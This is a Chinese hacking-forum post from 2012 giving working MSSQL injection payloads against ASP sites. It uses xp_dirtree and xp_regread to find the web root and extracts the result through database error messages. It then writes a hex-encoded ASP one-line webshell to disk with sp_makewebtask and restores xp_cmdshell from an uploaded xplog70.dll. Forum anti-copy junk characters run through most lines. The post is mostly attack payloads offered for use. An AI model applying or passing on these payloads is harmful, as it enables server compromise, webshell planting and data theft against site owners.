找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2349|回复: 0
打印 上一主题 下一主题

MSsqlL注入取得网站路径最好的方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:20:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好,我们exec master..xp_dirtree'd:/test'
7 n3 C! c1 \0 B  P5 i假设我们在test里有两个文件夹test1和test2在test1里又有test3
" w5 |5 w4 P; Q7 Z* w5 j结果显示4 L; }: G/ s8 n+ Z5 n7 Z

2 K; R: N9 F- I2 M) l/ Psubdirectory depth
/ f+ }6 ?& k3 ]test1 11 L0 s+ V/ i* \- p( B
test3 2
# X1 e: O& l2 b- wtest2 1
! y; w, d6 g/ ]- f1 [2 }
+ N. @9 B. f$ A5 `$ _- ]哈哈发现没有那个depth就是目录的级数
: J5 o# k4 ~2 L% }: n+ ?- \ok了,知道怎么办了吧* _: H3 I9 U- Y
' s/ j9 q/ P: k5 z! y9 V& n/ R+ o
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)-- ' e9 t' [% C$ K0 K7 ?
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
% v* J1 q' R4 U0 i2 v. rhttp://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-
4 k) `. r0 J4 O9 b; L2 A; Y& j4 O& l0 h- y$ W3 O5 T, o
只要加上id=1,就是第一级目录 。' ]- h* F* U& |" i

. {4 P; C" W8 M! J, u' v2 C7 W" [9 P) D. \! i4 T
通过注册表读网站路径:
$ G3 R0 z% w& k2 E3 r! R7 s4 V8 N9 P/ O
4 i1 E  ~  ?" j  z# ~. Z. j9 b1.;create table [dbo].[cyfd] ([gyfd][char](255));. h) ?  @. r" d, p, |7 p' g

+ i9 g6 _5 n4 D2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
8 o3 o: \0 R' n5 d( ?+ fid=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--% q& A: `4 q( A* v" H" L: f
- \9 X1 e' u8 g9 c/ z+ l. Q
3.and 1=(select count(*) from 临时表 where 临时字段名>1)7 A* L) e4 s2 m; d+ {6 ?
and 1=(select count(*) from cyfd where gyfd > 1)
2 _% F7 X8 L* [7 s这样IE报错,就把刚才插进去的Web路径的值报出来了
5 e+ @; \8 ^/ h% S- i: V% r# A$ [1 A6 T
4.drop table cyfd;-- 删除临时表2 D) g9 ]$ H, z) B" s

; r( ?  C6 d7 F5 h- U获得webshell方法:
1 w! a, X4 I* \4 ^1 Y1.create table cmd (a image)-- \**cmd是创建的临时表
3 W4 s: M0 J0 \8 A
, [$ `" a6 x) ?0 `2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话3 u  X5 H& m, s/ P; d4 l, ~4 ~4 M

  A: a. q& E4 f* A: z/ V! w
% c2 P/ _* @1 E( P/ D' P3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
' ^: Q' b  S$ g% h5 q& P+ k  {EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'" r- P6 b* \; G1 J2 [

) S# |# |( `- [( g% u) s  i4.drop table cmd;-- 删除cmd临时表6 v0 L, D5 l$ o! j8 A
1 x, q7 Y+ {6 B/ V$ F) _2 R8 a
恢复xp_cmdshell方法之一:
( B( H+ g5 s$ W5 B我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:7 z8 Z" ^; ^+ W, I% J4 N; r
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'% Y! Q5 M9 D: ^# _
恢复,支持绝对路径的恢复哦。:); b* y* w2 d. q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表